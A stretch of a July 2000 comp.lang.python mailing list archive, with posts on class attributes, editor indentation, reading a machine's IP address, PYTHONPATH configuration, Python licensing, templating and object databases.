attributes have their uses in Python as well. For example, since class
attribute becomes a part of the class.__dict__, you can later define
that same attribute in the subclasses as well, and still can retain
the access to the 'same' class attribute in the superclass. In other
words the value of the class attribute can be seen to as accumulating
knowledge: besides its own class attribute a subclass instance can
query the value of the class attribute of the base class as well.

I am using the above mentioned mechanism in the current system I am
building and that experience have made me a strong believer in the
object-oriented features of Python. Especially the access control by
convention (name mangling) and different special attributes
(__class__, __name__, __bases__, ...)  gives programmer a very
powerful set of tools to work with. One can traverse easily upwards
the class hierarchy and examine the features of the base classes.
  
  ++Vespe
  
-- 
  ------------------------------------------------------------------
       Vespe Savikko     vespe at cs.tut.fi     - to doom de doomsday -


From alex at magenta.com  Mon Jul 24 15:45:37 2000
From: alex at magenta.com (Alex Martelli)
Date: Mon, 24 Jul 2000 21:45:37 +0200
Subject: Python questions from C/Perl/Java programmer
References: <397C6F49.7BEBB207@alabanza.net>
Message-ID: <8li6gm024e8@news2.newsguy.com>

"ye, wei" <yw at alabanza.net> wrote in message
news:397C6F49.7BEBB207 at alabanza.net...
    [snip]
> problem in Python script, consider use 'vi', it's hard to write Python
    [snip]
> e.g. In the following example, If you want to added a new 'if' between
> line 1 and 2, you have to add TAB from Line 2 to 199,
> it's difficult to make sure you don't make mistake. (The case may be

You ARE joking, right?  If you hadn't mentioned vi, I would still
be doubtful, but, *with* vi, what can POSSIBLY be easier than
    :2,199s/^/<tab>/
?!

"Enclose (this syntactically complete part) within { }" is essentially
impossible to automate with vi, as you can't generally identify the
"syntactically complete part", but adding/removing tabs to/from lines
is just about what vi is *designed* for!-)

Others will no doubt address the more general issues raised by your
post (I'm pretty sure this theme is the one raised most often by
newcomers to this group), but, as an old vi-lover, I wanted to
ensure you that your hilarious joke was not missed!-)  [I use GVIM
these days, of course, getting python colorization and everything,
but the vi core of it is what I really get 99% out from!-)].


Alex





From m.faassen at vet.uu.nl  Wed Jul 19 11:52:59 2000
From: m.faassen at vet.uu.nl (Martijn Faassen)
Date: 19 Jul 2000 15:52:59 GMT
Subject: Python in game development?
References: <v62d5.580$GQ1.26151@newsread2.prod.itd.earthlink.net> <963990339.783645@marvin> <8l4h60$jnk$2@gxsn.com>
Message-ID: <8l4isr$l58$2@newshost.accu.uu.nl>

In comp.lang.python Newsgroup <newsgroup at neutron.globalnet.co.uk> wrote:
>> In the Open Source Crystal Space 3D engine we are working on a framework
> for python
>> scripting. It is already working reasonably well but you cannot yet do
> everything
>> that you'd want to do from a python script.

> Can anybody explain what you actually do to attach the python, or any other
> general purpose scripting language, to your game?

Sure, for Python the documentation is here:

http://www.python.org/doc/current/ext/ext.html
http://www.python.org/doc/current/api/api.html

Be sure to check out stackless Python, which has some advantages for
game scripting:

http://www.stackless.com/

> I'm making a game with a
> scripted engine and I have to write my own compiler to convert scripts into
> a length of integers and a virtual machine to convert it into game logic.
> Does python produce it's own compiled code and you then have to write a
> virtual machine based on this output?

Hm, Python produces its own compiled code (virtual machine instructions),
and Python includes a virtual machine. You just hook Python into your
game.

You also need to give your game a Python API
(a bunch of C wrappers; there are tools like Swig which can do this
automatically, though it isn't so hard to do by hand and is described
in the above documentation):

http://www.swig.org/

So no, you don't have to do all that; Python already includes a compiler
and interpreter that can be embedded into your game.

Regards,

Martijn
--
History of the 20th Century: WW1, WW2, WW3?
No, WWW -- Could we be going in the right direction?


From jhe at webde-ag.de  Tue Jul 18 04:26:16 2000
From: jhe at webde-ag.de (Jürgen Hermann)
Date: Tue, 18 Jul 2000 10:26:16 +0200
Subject: Getting local IP address...
References: <01BFEFF9.AE1E26D0.gjohnson@gs.verio.net>
Message-ID: <8l1481$gfv$1@pollux.ip-plus.net>

"Tony Johnson" <gjohnson at gs.verio.net> schrieb im Newsbeitrag
news:01BFEFF9.AE1E26D0.gjohnson at gs.verio.net...
> Yes I understand that os.system is to be used with extreme caution.  The
> ifconfig eth0 command does nothing but query information already stored
and
...
> I don't see any probs...

> ifconfig
bash: ifconfig: command not found

Falls into my definition of "probs". :>  On many machines, /sbin is not in
the path of normal users, and on many machines, it's not called "/sbin". :)

Bye, J?rgen




From thomas at xs4all.net  Fri Jul 28 15:25:42 2000
From: thomas at xs4all.net (Thomas Wouters)
Date: Fri, 28 Jul 2000 21:25:42 +0200
Subject: The State of Python
In-Reply-To: <vph66pq18j2.fsf@hiirihaukka.cs.tut.fi>; from vespe@cs.tut.fi on Fri, Jul 28, 2000 at 08:14:57PM +0300
References: <200007270038.TAA03951@cj20424-a.reston1.va.home.com> <vph66pq18j2.fsf@hiirihaukka.cs.tut.fi>
Message-ID: <20000728212542.F266@xs4all.nl>

On Fri, Jul 28, 2000 at 08:14:57PM +0300, Vespe Savikko wrote:

>       http://www.pythonlabs.com/talks.html

> The first example on slide 14, List Comprehensions:

> [(x, x**2) for x in range(5)] 
>      -> [(0,0), (1,1), (4,4), (9,9), (16,16)]

> My intuition says the result should be:

>      -> [(0,0) ,(1,1), (2,4), (3,9), (4,16)]

> Is there a typo in the slide or have I missed some aspect of list
> comperehensions? 

Don't think it qualifies as a typo; too consistent. But yes, the result is
what you expect, not what you see. Let this be an example: don't code and
discuss licences at the same time ! :-)

-- 
Thomas Wouters <thomas at xs4all.net>

Hi! I'm a .signature virus! copy me into your .signature file to help me spread!



From bdupire at seatech.fau.edu.bbs  Wed Jul 12 11:00:03 2000
From: bdupire at seatech.fau.edu.bbs (bdupire at seatech.fau.edu.bbs)
Date: 12 Jul 2000 15:00:03 GMT
Subject: Adding Directory to PYTHONPATH
Message-ID: <3bNKL3$mDp@openbazaar.net>

Hi Mike...

It depends on the platform you  work on.

If you are using Windows, the best is to create a file "mymodules.pth", as
you mentionned.

Ex: "mymodules.pth" content :
mymodules
c:\My Documents\python\modules
Then the next time a Python interpreter is started, sys.path will have
c:\program
files\python\mymodules and c:\My Documents\python\modules added to it, if
they exist. (check!)

This trick doesn't work on other platforms (QNX for example)

On Windows,the other trick is to modify the registry.
Have a look at
http://www.python.org/windows/python/registry.html

Then if you are on Linux/Unix/QNX you have to modify the PYTHONPATH
environment variable.
You can do that in the .cshrc file , located in your home directory.

Edit the file  .cshrc so that it looks like the following:
##### Set path
set path =  ( . /bin /usr/bin /usr/local/bin /usr/ucb /usr/X11/bin
/old_home/bdupire/Python-1.5.2)
set PYTHONPATH = (/old_home/bdupire/Python-1.5.2/my_prog)

On LINUX (bash shell):
$ export PYTHONPATH=/home/me/python
$ echo $PYTHONPATH
 /home/me/python
$ PYTHONPATH=/home/you/python:$PYTHONPATH
$ echo $PYTHONPATH
/home/you/python:/home/me/python


All of these tricks didn't work for me.. so I have to figure out another
way.
If you compiled Python from the source code, go to ../Python-1.5.2/Modules

Edit the file  'Setup'
In thi file you might find the following :

# Standard path components for test modules
TESTPATH=

Modify this line:
TESTPATH=:my_directory
and you will be able to put your modules in
.../Python-1.5.2/Lib/my_directory



I hope this will help as i am also relatively new to Python.

Benoit

mike at pl.net wrote:

> Hi All !
> Probably been asked before but how do you add a new library module
> directory to PYTHONPATH?
>
> I know you can do it dynamically in Python, but in this case I need to
> have a particular module directory available everytime that Python is
> loaded.
>
> I tried including a .pth file but can't see the new directory when I
> print sys.path
>
> Grateful for any pointers
> Best regards
> Aren't we lucky for having Python!
> Mike
>
> Sent via Deja.com http://www.deja.com/
> Before you buy.


From webmaster at in852.com  Thu Jul  6 12:45:55 2000
From: webmaster at in852.com (webmaster)
Date: Fri, 07 Jul 2000 00:45:55 +0800
Subject: in852.com - 1
Message-ID: <3964B7C3.A6E34630@in852.com>

[ ???? ]

?T???????? http://www.in852.com
?????T???? http://www.ec852.com

in852?S?I?G
(1) ???????P???~?e???|?? (Printers?BScanner?B?q???C??????)?C

(2) ???W???I?j????
?]?A???????????~?B???s?q?????~?B?y?????~?????C

(3) ?????? Free Mail
?u?n?|???? POP ?? SMTP ???? mail.in852.com?A?K?i?????q Mail Box

(4) ???I???e
?T???????y???T?B???g?@???B?C?????a?B???????T?B?q??????
?n???U?????@?????????????????T?s?????C




From ame at swipnet.se  Fri Jul 28 17:04:45 2000
From: ame at swipnet.se (Anders Eriksson)
Date: Fri, 28 Jul 2000 23:04:45 +0200
Subject: MySQL, mSQL, or other database
References: <CaFe5.3901$pC1.18696@news02>
Message-ID: <21t3osohnq66bcolhn0m3e4t9jnikfcpgv@4ax.com>

On Sun, 23 Jul 2000 16:36:50 GMT, "Adam Durity"
<fatman40k at hotmail.com> wrote:

>I have a website hosted by a WPP and they will provide me with Access
>database support for an additional $10 a month.  I'm on a fairly tight
>budget so is there any way i can use MySQL, mSQL, or another database
>package to handle a smple SQL database without a DSN.  BTW, i am a newbie to
>all this stuff.  Thanks in advance, Adam.
>
Hello Adam!

There is an another problem which the others didn't mention ;-)

To use an SQL database you need to be able to run a 'permanent'
process. i.d. the SQL server must run even if you aren't loged in.
This is my problem! My ISP will not let me run any process if I'm not
logged in, which means I can't use a SQL server database.

So I'm using Metakit instead. It's a file based database and it will
not understand SQL but it will give me (and you) the database
facillity we want.

http://www.equi4.com/metakit/

// Anders



From richard_chamberlain at ntlworld.com  Wed Jul 19 12:44:17 2000
From: richard_chamberlain at ntlworld.com (richard_chamberlain)
Date: Wed, 19 Jul 2000 17:44:17 +0100
Subject: Book: Internet Programming in Python
References: <397595A8.A32C8DE7@worldnet.att.net>
Message-ID: <ZSkd5.699$Ht2.8897@news2-win.server.ntlworld.com>

I don't whether it's still there or not, but my local bookshop had a copy.
Unfortunately it's in the UK , but if you're willing to pay the shipping I'm
sure they'd send you a copy. It depends on how badly you want it I suppose.

Let me know if you're interested and I'll send you there address and number.

Richard

Sean Doull-Connolly <seandc at worldnet.att.net> wrote in message
news:397595A8.A32C8DE7 at worldnet.att.net...
> This book by Guido and others was published in 1996 and is now
> out of print.
>
> Does anyone have a copy in good condition which I might buy?
>
> Thanks.
>
> Sean




From bob at horvath.com  Sun Jul 23 01:29:16 2000
From: bob at horvath.com (Bob Horvath)
Date: Sun, 23 Jul 2000 05:29:16 GMT
Subject: cgi, templates, and the % operator
Message-ID: <397A82AB.8D32658F@horvath.com>

HI all,

I have a CGI script that I would like to be able to use the
% operator and a HTML template to product the outout.
Unfortunately, the HTML that is the template contains table tags
that have percentage widths on them , as in '<table align="center"
width="90%">'.  Later, of course, I have something like 'blah blah
%(var_to_be_replaced)s blah blah'.

The problem is that the % in the width setting looks like a format
string.

Anyway to escape the %, or to turn it into something else that
won't screw up the % operator.

Any other suggestions?



From R.Brodie at rl.ac.uk  Mon Jul 24 06:51:03 2000
From: R.Brodie at rl.ac.uk (Richard Brodie)
Date: Mon, 24 Jul 2000 11:51:03 +0100
Subject: Variables in strings..
References: <81324605608.20000724121203@buz.ch>
Message-ID: <8lh72p$173m@newton.cc.rl.ac.uk>

"Gabriel Ambuehl" <gabriel_ambuehl at buz.ch> wrote in message
news:81324605608.20000724121203 at buz.ch...
> Hello,
> after switching from Perl to Python because I encountered serious
> problems when it came to the maintenance of the Perl code, I begging
> for a solution to the following: In Perl, it's very easy to embed a
> variable within a string for output (and as my main use for Python is
> CGI, I'm doing that rather often):

It's true:
    Python doesn't go out of its way to make common tasks easy for you
in the language itself. It's more like Java in that way: knowing the right
classes and methods to use is the path to enlightment.

I recommend you have a look at the Python web application pages. I'm
pleased with using HTMLgen.

from HTMLgen import *

mapping = {'name' : 'Legion'}
print StringTemplate('My name is {name}', mapping)
print Strong(StringTemplate('My name is {name}', mapping))
print BasicDocument(Strong(StringTemplate('My name is {name}', mapping)))

My name is Legion
<STRONG>My name is Legion</STRONG>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>....




From arhodes at psionic.com  Mon Jul 17 14:12:17 2000
From: arhodes at psionic.com (Aaron Rhodes)
Date: Mon, 17 Jul 2000 13:12:17 -0500
Subject: Getting local IP address...
References: <01BFEFE5.8092D940.gjohnson@gs.verio.net>
Message-ID: <39734C81.551D327F@psionic.com>

Howdy...

That works too.  There are some purists
who may take offense to reliance on external system binaries
(ifconfig and grep)...not a big deal in my opinion.
ifconfig on Linux probably does something similar
to the fcntl/ioctl stuff I was mentioning...perhaps there
should be a platform independent python-ifconfig library?

The API to such a library could be constructed to provide 
a standard way to do "ifconfig-ish" stuff on
Windows/NT/Unices. (i.e. up and down network interfaces,
get the ip address off the net interface, set the ip on the
net interface, change firewall rules perhaps, etc.)

Aaron
arhodes at psionic.com


Tony Johnson wrote:
> 
> Why not just do an addr = os.system(ifconfig eth0 | grep inet)
> This should return the ip addy of the nic...
> 
> Since the way OS's store IP addys is so implementaion dependant, I don't
> see how it could be portable unless people start making a posix way of
> storing an ip addy on top of the os dependant way
> 
> On Monday, July 17, 2000 11:33 AM, Aaron Rhodes [SMTP:arhodes at psionic.com]
> wrote:
> > Here's a tremendously non-portable way to do it for
> > Linux by reading it straight off the ethernet card...
> >
> > import string,socket,fcntl
> > SIOCGIFADDR = 0x8915
> > ifname = 'eth0'
> > s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
> > ifr = ifname+'\0'*(16-len(ifname))+chr(socket.AF_INET)+15*'\0'
> > r= fcntl.ioctl(s.fileno(),SIOCGIFADDR,ifr)
> > addr = string.join(map(str,map(ord,r[20:24])),'.')
> > print addr
> >
> >



From tim_one at email.msn.com  Sun Jul 30 16:57:52 2000
From: tim_one at email.msn.com (Tim Peters)
Date: Sun, 30 Jul 2000 16:57:52 -0400
Subject: Python license (was RE: Python plug-ins for Adobe Products available)
In-Reply-To: <oo%g5.21$T23.40121@news.pacbell.net>
Message-ID: <LNBBLJKPBEHFEDALKOLCKEPPGMAA.tim_one@email.msn.com>

[Grant Munsey, author of some cool Python plug-ins for Adobe
 products, available from
    http://opensource.adobe.com/
]

>  ... it wasn't exactly easy to convince Adobe that they should have
> an open source site. I'm hoping it will grow as time goes on.

Same here!

> ...
> I said the license is liberal because I'm happy it turned out that
> way ...

I'm assuming this refers to the "Adobe Open Source license", at

    http://opensource.adobe.com/misc/aoslic.shtml

> lot of time with corporate lawyers, etc.

Productive, isn't it <wink>?

> ...
> I wrote the plug-ins for the Adobe products because I wanted them.
>
> I made them available because some people were interested and I
> thought that some others might be as well.

All firmly in the tradition that Open Source grew from.  Hats off!  It's
nice to share <smile>.

> ...
> What really worries me is the wrangling over the Python license ...
> one of the reasons I went for Python in a big way was the non
> restrictive license.

The wrangling itself is a good sign:  it means that we (BeOpen PythonLabs)
have been opposing more restrictions.  CNRI already changed their license to
the extent that the board of the Open Source Initiative voted to certify it
as Open Source compliant (see definition at

    http://www.opensource.org/osd.html

).  We also want Python to remain GPL-*compatible*, and CNRI has changed
some of the language in response to Richard Stallman's objections.  There is
still one clause RMS objects to, and that *may* be resolved as early as
tomorrow (Monday) -- stay tuned.  Without a lawyer whispering in my ear, I
really can't say whether the CNRI license is as friendly to proprietary use
as was the CWI license, but I can't really tell about the Adobe license in
that respect either:  the text of neither is plain English (e.g., it's nice
to be told I have a license to "publicly perform" your plug-ins, but if that
means something other than that I can read their source code aloud at a
beatnik bar, it's beyond me <wink>; the CNRI license has similar
abracadabra).

The CNRI license is actually shorter than Adobe's at this point, so that
should be good news.  While I am indeed not sure what its language means in
all cases, I *believe* all segments of the Python community will find it
acceptable in the end!  Unfortunately, because it's CNRI's license we can't
yet show you the text so you can decide for yourself.

Also because it's CNRI's license, people with questions about it are going
to have to ask CNRI for answers (if they go beyond whether the OSI has
certified it and whether RMS says it is or isn't GPL-compatible -- those are
plain facts we can pass on once we know the answers ourselves; but beyond
that, we'll be developing Python as a CNRI licensee, in the same boat as
you).

There is also (according to CNRI) a possibility that CNRI may re-release
JPython under the new Python license.  I believe that would be cause for
major rejoicing in the JPython world (JPython was never released under a
license as friendly as the CPython license).

So don't worry *too* much!  BeOpen PythonLabs is optimistic at this point.

even-guido-has-broken-his-perpetual-scowl<wink>-ly y'rs  - tim





From gpepice1 at nycap.rr.com  Fri Jul 28 23:02:36 2000
From: gpepice1 at nycap.rr.com (gbp)
Date: Sat, 29 Jul 2000 03:02:36 GMT
Subject: learning-python question
References: <8j8ep3$tkn$1@nnrp1.deja.com>
Message-ID: <39824A0A.EB878DBE@nycap.rr.com>


I'm new to python but it looks like your varible is out of scope.  Try
declaring it as a global (just put the work global in front of it) or
try moving it so its inside the function.  It you declare a varible at
top level its isn't automatically global.  Its local to the top level.

JeremyLynch at fsmail.net wrote:
> 
> hi,
> I have just started learning python, although I am already confident in
> c/c++, and I finding some of python's features confusing. This may seem
> like a *very* stupid question so ignore it if you want to :)
> My problem simplifies to:
> 
> count = 5
> 
> def count_func()
>      print count
>      count = count + 1
> 
> count_func()
> 
> Why can count_func() not see count (it throws up a 'name'
> or 'attribute' error)
> 
> thanks if you can help,
> 
> ----------------------
> jeremylynch at fsmail.net
> ----------------------
> 
> Sent via Deja.com http://www.deja.com/
> Before you buy.


From MarkH at ActiveState.com  Thu Jul 20 07:09:30 2000
From: MarkH at ActiveState.com (Mark Hammond)
Date: Thu, 20 Jul 2000 11:09:30 GMT
Subject: [FAQTS] Python Knowledge Base Update -- July 15th, 2000
References: <20000716010820.11712.qmail@synop.com>
Message-ID: <K5Bd5.7280$4p3.51914@news-server.bigpond.net.au>

> ## Unanswered Questions ########################################

This one is easy!

> -------------------------------------------------------------
> Is there any way I can prevent pythonwin(scintilla) from reading the
method names of a specific class
> http://www.faqts.com/knowledge-base/view.phtml/aid/4734
> -------------------------------------------------------------

No!

Mark.





From tjs at cs.monash.edu.au  Thu Jul 27 06:12:49 2000
From: tjs at cs.monash.edu.au (Toby J Sargeant)
Date: Thu, 27 Jul 2000 20:12:49 +1000
Subject: Find where you left off...
In-Reply-To: <slrn8nvree.35n.qtmstr@d30-146.hcvlny.optonline.net>; from qtmstr@optonline.net on Thu, Jul 27, 2000 at 08:06:33AM +0000
References: <397F7BF5.F4A0138D@yahoo.com> <slrn8nvree.35n.qtmstr@d30-146.hcvlny.optonline.net>
Message-ID: <20000727201249.A7097@fangorn.csse.monash.edu.au>

On Thu, Jul 27, 2000 at 08:06:33AM +0000, QuoteMstr wrote:
> In article <397F7BF5.F4A0138D at yahoo.com>, Paul Winkler wrote:
> >A little trick I discovered today:
> >when writing python in emacs, you can mark the spot where you
> >stopped just by writing some arbitrary text like "start from here"
> >or whatever. Next time you open this file in emacs, just do C-c C-c
> >; python throws an exception and emacs jumps to the offending line.
> 
> That's a dangerous practice. Python doesn't catch all such errors when
> the script executes. If you put the error inside a function that isn't
> called except under special, rare circumstances, you won't notice
> until you encounter it. Furthermore, if you forget about an error, it
> will stay there, as a bug, until someone tries to execute the
> offending piece of code.

Also, emacs saves bookmarks when you quit, which is really handy for doing
exactly this kind of thing. I use the following code:

(defmacro define-key-as-bookmark (mark-key jump-key label)
  (` (
      progn
       (define-key global-map (, mark-key)
	 (function (lambda () "" (interactive)
		     (bookmark-set (, label))
		     (message (concat "Set Bookmark " (, label))))))
       (define-key global-map (, jump-key)
	 (function (lambda () "" (interactive)
		     (bookmark-jump (, label))))))
     ))

followed by:

(global-unset-key "\C-z")
(global-unset-key [?\C-z ?\C-z])

(define-key-as-bookmark [?\C-z ?\C-z 97] [?\C-z 97] "mark-a")
(define-key-as-bookmark [?\C-z ?\C-z 98] [?\C-z 98] "mark-b")
(define-key-as-bookmark [?\C-z ?\C-z 99] [?\C-z 99] "mark-c")
... etc

to provide functionality similar to vi's ma and `a commands, which allow me
to type C-Z C-Z [letter] to place a bookmark, and C-Z [letter] to jump back to
it. (C-Z is probably not the best choice if you're using a console based
emacs, but it's in a good location on the keyboard, so...)

Toby.



From moshez at math.huji.ac.il  Sun Jul 23 01:32:13 2000
From: moshez at math.huji.ac.il (Moshe Zadka)
Date: Sun, 23 Jul 2000 08:32:13 +0300 (IDT)
Subject: cgi, templates, and the % operator
In-Reply-To: <397A82AB.8D32658F@horvath.com>
Message-ID: <Pine.GSO.4.10.10007230831590.15240-100000@sundial>

On Sun, 23 Jul 2000, Bob Horvath wrote:

> HI all,
> 
> I have a CGI script that I would like to be able to use the
> % operator and a HTML template to product the outout.
> Unfortunately, the HTML that is the template contains table tags
> that have percentage widths on them , as in '<table align="center"
> width="90%">'.  Later, of course, I have something like 'blah blah
> %(var_to_be_replaced)s blah blah'.
> 
> The problem is that the % in the width setting looks like a format
> string.
> 
> Anyway to escape the %, or to turn it into something else that
> won't screw up the % operator.

Yes -- use %%.

--
Moshe Zadka <moshez at math.huji.ac.il>
There is no GOD but Python, and HTTP is its prophet.
http://advogato.org/person/moshez




From m.faassen at vet.uu.nl  Sat Jul  8 15:35:26 2000
From: m.faassen at vet.uu.nl (Martijn Faassen)
Date: 8 Jul 2000 19:35:26 GMT
Subject: POOP / Python (Object Oriented Persistence) ?
References: <00c601bfe812$febfeef0$f0c809c0@lslp7o.lsl.co.uk> <8k4t1u$7fk$1@newshost.accu.uu.nl> <8k5hd8$go8$1@localhost.localdomain>
Message-ID: <8k7vpu$m2u$1@newshost.accu.uu.nl>

fermigier <fermigier at localhost.localdomain> wrote:
> In article <8k4t1u$7fk$1 at newshost.accu.uu.nl>,
> Martijn Faassen <m.faassen at vet.uu.nl> wrote:
>>Right, and since us Zope folks are using the stuff, some of these problems
>>seem to be taken care of. Do you still think what the ZODB does is much
>>different from what you're describing?

> Well, from my point of view, ZODB is a transactional persistent Python
> object store, not an object oriented-database since it lacks a query
> language (like OQL).

All right -- wasn't listed in the previous' posters requirements, though.

> What I'm missing most from ZODB, and is usually easy to do with an
> object-relational adapter, are queries and a simple way to do schema
> evolutions.

The ZODB is not an object-relational database, though, but an object
database. It's as far as I know still an open debate whether relational-like
query languages make sense in such a setting (but I haven't kept track
of this so I may be wrong). That said, Zope does have the ZCatalog, which
will allow simple queries on metadata of the objects you have catalogued
in it. Furthermore work is being done on integrating XPath, and on allowing
XPath queries on the Zope database (viewing it as an XML DOM tree). I'm
not sure how fast these queries are going to be, though.

I'm not sure what you mean by 'schema evolution' in this context. You can
change the Python class of the objects that are stored in the ZODB, and
it's not technically hard to change the way they are stored (attributes
and so on). It may be hard for other reasons of course.

Regards,

Martijn
-- 
History of the 20th Century: WW1, WW2, WW3?
No, WWW -- Could we be going in the right direction?


From david_ullrich at my-deja.com.bbs  Sat Jul 15 14:10:05 2000
From: david_ullrich at my-deja.com.bbs (david_ullrich at my-deja.com.bbs)
Date: 15 Jul 2000 18:10:05 GMT
Subject: Changing the class of an instance
Message-ID: <3bPfgU$k4V@openbazaar.net>

In article <8knl04$1c9b$1 at pc-news.cogsci.ed.ac.uk>,
  richard at cogsci.ed.ac.uk (Richard Tobin) wrote:
> In article <8knhql$lpi$1 at nnrp1.deja.com>,  <david_ullrich at my-deja.com>
wrote:
> >   It's explicitly provided in Python as well.
>
> No, that's just the point - it's not explicitly provided; instead the
> implementation is exposed.  You can assign to the __class__ slot, you
> can initialise any new slots, and delete any that the new class
> doesn't have.  But does anything say "yes, this is all you need to do,
> and it will work in all implementations"?  Apparently not.
>
> >   Changing the methods of the instance also counts as
> >a sneaky don't-do-that.
>
> I thought you'd say that :-)

    Well it's exactly what I was doing once because I was
a lot more clever than the guys who said I shouldn't. And
then I decided quite suddenly that they were right. (At the
end of a _long_ stretch trying to figure out why the heck
something wasn't working - of course the answer is the
object in question was very different from the object it
appeared it should be...)

> > Whatever it is you're trying to
> >do there's a way to do it in legitimate Python without
> >this sort of thing.
>
> Ok, I trying to directly model a rather abstract specification - the
> XML Infoset - as Python objects.  I then want to to perform the action
> of XML Schema validation on this modelled infoset, which is defined to
> add various properties to the infoset.  Various methods need to be
> changed to take account of the new properties.  It is thus natural for
> the class of the objects after validation to be a subclass of what
> they were before.
>
> Now obviously it can be done in many ways as a programming task, and
> others might be better in engineering terms.  One might produce a new
> infoset containing objects from the subclasses.  But to directly model
> the specification of the validation process, changing the classes, or
> adding slots and changing methods, seems the natural way.

    So it's something like the value of infoset.__class__
changes when you call infoset.validate(schema)? Seems a
little spooky to me (and evidently not only to me). If the
new class is always a subclass of the original that's maybe
a little more natural, but I really don't see the point
to changing the class of the object instead of just constructing
a new object. Like you pass a WellFormedInfoset to something
or call some method of one and get back an instance of a
subclass of ValidInfoset. I don't see why changing the class
of a single instance is more natural than constructing an
instance of a new class. You could have a subclass of
ValidInfoset for each schema (not sure whether that makes
sense - you know what I mean if it doesn't). Like maybe

class ValidatedInfoset:
  def __init__(self, AWellFormedInfoset):
    self.info = AWellFormedInfoset
    self.Validate(self.info)

and the Validate method does various things in various
subclasses, raising an exception on failure.

    There's a lot I don't know about programming in
general and about what you're doing in particular, but
I don't see what the advantage of what you're doing has
over some scheme like this.

> -- Richard
> --
> Spam filter: to mail me from a .com/.net site, put my surname in the
headers.
>
> "The Internet is really just a series of bottlenecks joined by high
> speed networks." - Sam Wilson
>


Sent via Deja.com http://www.deja.com/
Before you buy.


From c.evans at clear.net.nz  Sat Jul 29 00:47:39 2000
From: c.evans at clear.net.nz (Carey Evans)
Date: Sat, 29 Jul 2000 04:47:39 GMT
Subject: The State of Python
References: <LNBBLJKPBEHFEDALKOLCCEJHGMAA.tim_one@email.msn.com>
	<39817536.FDBC508D@hursley.ibm.com>
Message-ID: <87g0ota6fo.fsf@psyche.evansnet>

Paul Duffin <pduffin at hursley.ibm.com> writes:

> What does GPL compatible mean ? 

It means you can distribute a program derived from both GPL-licensed
code and (in this case) CNRI-licensed code, given the conditions in
section 6 of the GPL:

   ... You may not impose any further restrictions on the recipients'
   exercise of the rights granted herein. ...

For example, the Apache license is not GPL-compatible because it
adds an additional restriction:

   3. All advertising materials mentioning features or use of this
      software must display the following acknowledgment:
      "This product includes software developed by the Apache Group
      for use in the Apache HTTP server project (http://www.apache.org/)."

This means you can't distribute a program based on Apache-licensed and
GPL-licensed software.

-- 
	 Carey Evans  http://home.clear.net.nz/pages/c.evans/

       "C'est une r?volte?"  "Non, Sire, c'est une r?volution."


From frl3 at my-deja.com  Fri Jul 14 17:22:59 2000
From: frl3 at my-deja.com (frl3 at my-deja.com)
Date: Fri, 14 Jul 2000 21:22:59 GMT
Subject: openssl 0.9.5a and python 1.6a2
References: <8kl0h4$pu6$1@nnrp1.deja.com> <396F2797.D0D3387B@free.fr>
Message-ID: <8ko0b1$19g$1@nnrp1.deja.com>

In article <396F2797.D0D3387B at free.fr>,
  Martin Carpenter <mcarpenter at free.fr> wrote:
> falk.lehmann at gmx.net wrote:
>
> > I build python 1.6a2 and included the SSL support. I am using the
> > openssl library 0.9.5a on a NT box.
> [snip]
> > But the proxy replies with an error message:
> [snip]
> > The requested item could not be loaded by the proxy.<P>
> > The certificate issuer for this server is not recognized by
> > Netscape. The security certificate may or may not be valid.
> [snip]
> > It seems that some certificate is missing. How do I make openssl
aware
> > of the certificates delivered with the distribution? Or is the error
> > somewhere else?
>
> Sounds suspiciously like it's the *proxy* that doesn't recognise the
CA
> that signed cardfile.com's certificate. So:
>
> (a) Can you access this site using a standard browser and the same
> proxy? This would eliminate the proxy from the equation.

no problem with a standard browser.

> (b) What certificate does cardfile.com present? Who is the issuer?
> (Trying, for example going to that site and then examing the security
> properies of that page with your browser - the "padlock" icon in
> Navigator, for example). [I'm offline at the moment].

the issuer is Thawte (Thawte Server CA). this certificate was not
contained in the certs directory of the openssl package. so I exported
it from the MS-IE database. but that didn't help.

> (c) I've not been around OpenSSL for a while (0.7 was the last I
> tinkered with, I think), but the standard issuer certificates didn't
> used to be "built in".

not the certificates, but maybe the path to the certificates is built
in?

> It was up to the application developer to
provide
> the code to verify the validity of any certificate presented.
Therefore,
> your application *should* contain copies of all the issuer
certificates
> for the CAs that you wish to support. (Navigator 4.73, NT4.0, contains
> 70 or so of these "signer" certificates!).

any ideas that help?

Falk


Sent via Deja.com http://www.deja.com/
Before you buy.


From neilh at scintilla.org  Wed Jul 26 23:50:55 2000
From: neilh at scintilla.org (Neil Hodgson)
Date: Thu, 27 Jul 2000 03:50:55 GMT
Subject: newbie q: pythonwin editor
References: <8ln2gf$ouq$1@nnrp1.deja.com>
Message-ID: <zkOf5.13094$4p3.101706@news-server.bigpond.net.au>

> Hi, i have just installed pythonwin(as i plan to do most of my
> programming on windows). I notice that on the interactive screen you
> can change the tab size(e.g. from 8 to 4) and it will automatically add
> tabs for you. However, when i try to create a new python script, the
> text editor that pops out does not add tabs automatically. I couldn't
> found any solution from its help system; does anyone knows how
> to 'toggle' the feature on?

   Turn off the "Use Python smart indentation" option and you will get
dumber but far more reasonable behaviour. This option tries to work out how
to do tabs from the contents of files but can lead to seemingly strange
results.

   Neil




From moron at Glue.umd.edu  Thu Jul 20 22:20:11 2000
From: moron at Glue.umd.edu (Warren B. Focke)
Date: 20 Jul 2000 22:20:11 -0400
Subject: [long and fussy] But what do these operators _mean_?
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <8l899g$6f5$1@agate.berkeley.edu>
Message-ID: <8l8c0r$4lc@stochastic.eng.umd.edu>

(Edward Jason Riedy):
>And then there are issues with complex.  -0.0j = -0j, but 
>complex(0.0,-0.0) = 0j.  And there seems to be no way to construct
>1-0j at all.  This is painful when you think about branch cuts

>>> complex(-1, 0) * -1
(1-0j)

but

>>> (complex(-1, 0) * -1) * 1
(1+0j)

and it's probably not portable anyway.

Warren Focke
-- 
If you feel that you have both feet planted on level ground, then the
university has failed you. -Robert Goheen, President, Princeton University


From akuchlin at mems-exchange.org  Tue Jul 11 12:26:10 2000
From: akuchlin at mems-exchange.org (Andrew Kuchling)
Date: 11 Jul 2000 12:26:10 -0400
Subject: POOP / Python (Object Oriented Persistence) ?
References: <002e01bfeb19$619a11a0$f0c809c0@lslp7o.lsl.co.uk> <8kfd7o$2tf$1@desig-bs01-s04.adtranzsig.de>
Message-ID: <3dwviszl99.fsf@kronos.cnri.reston.va.us>

